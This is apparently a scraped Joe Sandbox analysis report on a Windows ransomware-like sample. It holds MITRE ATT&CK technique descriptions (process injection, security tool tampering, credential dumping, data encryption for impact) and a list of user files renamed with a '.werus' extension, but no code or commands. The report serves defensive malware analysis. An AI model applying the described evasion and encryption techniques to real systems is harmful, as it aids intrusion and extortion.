Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.
Tactics:	Collection
Data Sources:	Logon Session: Logon Session Creation, Process: Process Access, Process: Process Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report aASfOObWpW.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\encrypted_wallpaper.bmp

C:\Users\user\AppData\Local\Temp\key_74085fb5-dd20-4120-a9b1-4a9edcda13a9.pwd

C:\Users\user\AppData\Roaming\.curlrc.werus

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobData.werus

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobSettings.werus

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_store.werus

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storei.werus

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storek.werus

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMDocs.sav.werus

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMGrpPrm.sav.werus

C:\Users\user\AppData\Roaming\Microsoft\Crypto\Keys\de7cf8a7901d2ad13e5c67c29e5d1662_9e146be9-c76a-4720-bcdb-53011b87bd06.werus

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk.werus

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Microsoft Edge.lnk.werus

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Shows Desktop.lnk.werus

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\File Explorer.lnk.werus

Windows Analysis Report
aASfOObWpW.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre